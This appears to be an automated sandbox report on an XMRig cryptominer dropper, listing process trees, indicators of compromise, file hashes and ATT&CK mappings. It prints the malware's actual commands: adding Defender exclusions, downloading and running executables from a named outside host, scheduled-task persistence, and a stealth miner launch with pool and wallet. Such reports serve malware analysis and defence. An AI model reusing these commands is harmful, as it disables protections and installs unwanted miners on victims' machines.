xmrig | 82f585a45f06cd6c344d3bf8fe6081a074ac38f83015d9675a2dc4e2363f5c20

Analysis

max time kernel
169s
max time network
199s
platform
windows7_x64
resource
win7v20210408
submitted
14-10-2021 05:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2d82ec0905de054cd685e6a52e2d9442.exe
Size

4KB
MD5

2d82ec0905de054cd685e6a52e2d9442
SHA1

1fb5c5b876563affb7ee45872e286cf0ffddb965
SHA256

82f585a45f06cd6c344d3bf8fe6081a074ac38f83015d9675a2dc4e2363f5c20
SHA512

eeee0806ef980230966d3e6318d974fe6faf02b0b7952a1671cbc5fdff66c7cef68218483433a72ba6277ab9c5f556c7d3a39e2ad6851f42c4705f3d7a2666e4

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://cx55566.tmweb.ru/farm_money.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://cx55566.tmweb.ru/monero-bandit.exe

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/896-330-0x00000001402F327C-mapping.dmp	xmrig
behavioral1/memory/896-335-0x0000000140000000-0x0000000140763000-memory.dmp	xmrig

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.execmd.exe

flow pid process

6 1260 powershell.exe
8 1564 powershell.exe
10 896 cmd.exe
Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

gfhfg.exeFsdgde.exeshrome.exeservices64.exesihost32.exesihost64.exe

pid process

892 gfhfg.exe
1052 Fsdgde.exe
900 shrome.exe
1688 services64.exe
1548 sihost32.exe
1380 sihost64.exe

flow	pid	process
6	1260	powershell.exe
8	1564	powershell.exe
10	896	cmd.exe

pid	process
892	gfhfg.exe
1052	Fsdgde.exe
900	shrome.exe
1688	services64.exe
1548	sihost32.exe
1380	sihost64.exe

Loads dropped DLL 12 IoCs

Processes:

powershell.exepowershell.execmd.execmd.execonhost.execonhost.exe

pid	process
1600	powershell.exe
1600	powershell.exe
584	powershell.exe
584	powershell.exe
1308	cmd.exe
1308	cmd.exe
292	cmd.exe
292	cmd.exe
1036	conhost.exe
1036	conhost.exe
1768	conhost.exe
1768	conhost.exe

Drops file in System32 directory 9 IoCs

Processes:

powershell.execonhost.execonhost.exepowershell.exepowershell.execonhost.execonhost.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\Microsoft\Telemetry\sihost32.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\shrome.exe	conhost.exe
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 1768 set thread context of 896 1768 conhost.exe cmd.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1504 schtasks.exe
1364 schtasks.exe

description	pid	process	target process
PID 1768 set thread context of 896	1768	conhost.exe	cmd.exe

pid	process
1504	schtasks.exe
1364	schtasks.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.execonhost.exepowershell.execonhost.exepowershell.execonhost.exepowershell.execmd.exe

pid	process
1412	powershell.exe
1412	powershell.exe
1316	powershell.exe
1316	powershell.exe
1260	powershell.exe
1260	powershell.exe
1564	powershell.exe
1564	powershell.exe
1600	powershell.exe
1600	powershell.exe
584	powershell.exe
584	powershell.exe
1304	conhost.exe
1388	powershell.exe
1388	powershell.exe
1260	conhost.exe
1644	powershell.exe
1644	powershell.exe
1036	conhost.exe
1036	conhost.exe
1772	powershell.exe
1772	powershell.exe
1768	conhost.exe
1768	conhost.exe
1316	powershell.exe
1316	powershell.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe
896	cmd.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.execonhost.exepowershell.execonhost.exepowershell.execonhost.exepowershell.execmd.exe

description	pid	process
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	584	powershell.exe
Token: SeDebugPrivilege	1304	conhost.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1260	conhost.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	1036	conhost.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	1768	conhost.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeLockMemoryPrivilege	896	cmd.exe
Token: SeLockMemoryPrivilege	896	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2d82ec0905de054cd685e6a52e2d9442.execmd.exepowershell.exepowershell.exegfhfg.execonhost.execmd.execmd.exeFsdgde.execonhost.execmd.exe

description	pid	process	target process
PID 1976 wrote to memory of 1756	1976	2d82ec0905de054cd685e6a52e2d9442.exe	cmd.exe
PID 1976 wrote to memory of 1756	1976	2d82ec0905de054cd685e6a52e2d9442.exe	cmd.exe
PID 1976 wrote to memory of 1756	1976	2d82ec0905de054cd685e6a52e2d9442.exe	cmd.exe
PID 1976 wrote to memory of 1756	1976	2d82ec0905de054cd685e6a52e2d9442.exe	cmd.exe
PID 1756 wrote to memory of 1412	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1412	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1412	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1412	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1316	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1316	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1316	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1316	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1260	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1260	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1260	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1260	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1564	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1564	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1564	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1564	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1600	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1600	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1600	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 1600	1756	cmd.exe	powershell.exe
PID 1600 wrote to memory of 892	1600	powershell.exe	gfhfg.exe
PID 1600 wrote to memory of 892	1600	powershell.exe	gfhfg.exe
PID 1600 wrote to memory of 892	1600	powershell.exe	gfhfg.exe
PID 1600 wrote to memory of 892	1600	powershell.exe	gfhfg.exe
PID 1756 wrote to memory of 584	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 584	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 584	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 584	1756	cmd.exe	powershell.exe
PID 584 wrote to memory of 1052	584	powershell.exe	Fsdgde.exe
PID 584 wrote to memory of 1052	584	powershell.exe	Fsdgde.exe
PID 584 wrote to memory of 1052	584	powershell.exe	Fsdgde.exe
PID 584 wrote to memory of 1052	584	powershell.exe	Fsdgde.exe
PID 892 wrote to memory of 1304	892	gfhfg.exe	conhost.exe
PID 892 wrote to memory of 1304	892	gfhfg.exe	conhost.exe
PID 892 wrote to memory of 1304	892	gfhfg.exe	conhost.exe
PID 892 wrote to memory of 1304	892	gfhfg.exe	conhost.exe
PID 1304 wrote to memory of 764	1304	conhost.exe	cmd.exe
PID 1304 wrote to memory of 764	1304	conhost.exe	cmd.exe
PID 1304 wrote to memory of 764	1304	conhost.exe	cmd.exe
PID 764 wrote to memory of 1388	764	cmd.exe	powershell.exe
PID 764 wrote to memory of 1388	764	cmd.exe	powershell.exe
PID 764 wrote to memory of 1388	764	cmd.exe	powershell.exe
PID 1304 wrote to memory of 1316	1304	conhost.exe	cmd.exe
PID 1304 wrote to memory of 1316	1304	conhost.exe	cmd.exe
PID 1304 wrote to memory of 1316	1304	conhost.exe	cmd.exe
PID 1316 wrote to memory of 1504	1316	cmd.exe	schtasks.exe
PID 1316 wrote to memory of 1504	1316	cmd.exe	schtasks.exe
PID 1316 wrote to memory of 1504	1316	cmd.exe	schtasks.exe
PID 1052 wrote to memory of 1260	1052	Fsdgde.exe	conhost.exe
PID 1052 wrote to memory of 1260	1052	Fsdgde.exe	conhost.exe
PID 1052 wrote to memory of 1260	1052	Fsdgde.exe	conhost.exe
PID 1052 wrote to memory of 1260	1052	Fsdgde.exe	conhost.exe
PID 1260 wrote to memory of 1368	1260	conhost.exe	cmd.exe
PID 1260 wrote to memory of 1368	1260	conhost.exe	cmd.exe
PID 1260 wrote to memory of 1368	1260	conhost.exe	cmd.exe
PID 1368 wrote to memory of 1364	1368	cmd.exe	schtasks.exe
PID 1368 wrote to memory of 1364	1368	cmd.exe	schtasks.exe
PID 1368 wrote to memory of 1364	1368	cmd.exe	schtasks.exe
PID 764 wrote to memory of 1644	764	cmd.exe	powershell.exe
PID 764 wrote to memory of 1644	764	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\2d82ec0905de054cd685e6a52e2d9442.exe
"C:\Users\Admin\AppData\Local\Temp\2d82ec0905de054cd685e6a52e2d9442.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/farm_money.exe', (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe')" & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/farm_money.exe', (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe'))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(New-Object System.Net.WebClient).DownloadFile('http://cx55566.tmweb.ru/monero-bandit.exe', (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe'))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'gfhfg.exe')"
3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600

C:\Users\Admin\AppData\Local\Temp\gfhfg.exe
"C:\Users\Admin\AppData\Local\Temp\gfhfg.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:892

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\gfhfg.exe"
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
7⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
7⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "shrome" /tr "C:\Windows\system32\shrome.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "shrome" /tr "C:\Windows\system32\shrome.exe"
7⤵
- Creates scheduled task(s)
PID:1504

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\shrome.exe"
6⤵
- Loads dropped DLL
PID:1308

C:\Windows\system32\shrome.exe
C:\Windows\system32\shrome.exe
7⤵
- Executes dropped EXE
PID:900

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Windows\system32\shrome.exe"
8⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1036

C:\Windows\System32\cmd.exe
"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
9⤵
PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
10⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
10⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316

C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"
9⤵
- Executes dropped EXE
PID:1548

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "/sihost32"
10⤵
PID:1304

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'Fsdgde.exe')"
3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:584

C:\Users\Admin\AppData\Local\Temp\Fsdgde.exe
"C:\Users\Admin\AppData\Local\Temp\Fsdgde.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1052

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Fsdgde.exe"
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
6⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
7⤵
- Creates scheduled task(s)
PID:1364

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Windows\system32\services64.exe"
6⤵
- Loads dropped DLL
PID:292

C:\Windows\system32\services64.exe
C:\Windows\system32\services64.exe
7⤵
- Executes dropped EXE
PID:1688

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "C:\Windows\system32\services64.exe"
8⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768

C:\Windows\system32\Microsoft\Libs\sihost64.exe
"C:\Windows\system32\Microsoft\Libs\sihost64.exe"
9⤵
- Executes dropped EXE
PID:1380

C:\Windows\System32\conhost.exe
"C:\Windows\System32\\conhost.exe" "/sihost64"
10⤵
PID:1844

C:\Windows\System32\cmd.exe
C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:5555 --user=44z5DkTXSYBfYECbt5TdQ2SUpyAQJmmGubyUsWqzcByeKwxwsWSZabZQMuE39hedNcTL15eK8kHrAeZMUdGGmHQHBzNH5db --pass=bandit --cpu-max-threads-hint=10 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=2 --cinit-idle-cpu=90 --cinit-stealth
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a7384ae-fddc-4dcb-a8a1-4ba7cb069e4f
MD5
d89968acfbd0cd60b51df04860d99896

SHA1
b3c29916ccb81ce98f95bbf3aa8a73de16298b29

SHA256
1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

SHA512
b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a7384ae-fddc-4dcb-a8a1-4ba7cb069e4f
MD5
d89968acfbd0cd60b51df04860d99896

SHA1
b3c29916ccb81ce98f95bbf3aa8a73de16298b29

SHA256
1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

SHA512
b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_21b8d377-6470-4981-832c-2465b86fb001
MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3

SHA1
81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

SHA256
dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

SHA512
8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_21b8d377-6470-4981-832c-2465b86fb001
MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3

SHA1
81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

SHA256
dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

SHA512
8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_22dae994-bfca-440b-b764-ab807b08c1d3
MD5
7f79b990cb5ed648f9e583fe35527aa7

SHA1
71b177b48c8bd745ef02c2affad79ca222da7c33

SHA256
080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

SHA512
20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_22dae994-bfca-440b-b764-ab807b08c1d3
MD5
7f79b990cb5ed648f9e583fe35527aa7

SHA1
71b177b48c8bd745ef02c2affad79ca222da7c33

SHA256
080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

SHA512
20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_27ba17de-cba1-4e07-bdf2-788ff02337f8
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b21970-4839-4ac5-a2ad-cc925aecc47c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b21970-4839-4ac5-a2ad-cc925aecc47c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4d995b2c-02ab-4ba6-a745-5b6fb1874664
MD5
faa37917b36371249ac9fcf93317bf97

SHA1
a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

SHA256
b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

SHA512
614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4e314d0e-b47d-4c9f-be8e-af1570f8868e
MD5
354b8209f647a42e2ce36d8cf326cc92

SHA1
98c3117f797df69935f8b09fc9e95accfe3d8346

SHA256
feae405d288fdd38438f9d9b54f791f3ce3805f1bb88780da5aca402ad372239

SHA512
420be869b58e9a7a2c31f2550ac269df832935692a6431d455a10d9b426781e79d91e30ace2c465633b8a7ff2be1bf49734d8b99a390090dc4b36411d4391ff0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4e314d0e-b47d-4c9f-be8e-af1570f8868e
MD5
2d5cd190b5db0620cd62e3cd6ba1dcd3

SHA1
ff4f229f4fbacccdf11d98c04ba756bda80aac7a

SHA256
ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

SHA512
edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75
MD5
02ff38ac870de39782aeee04d7b48231

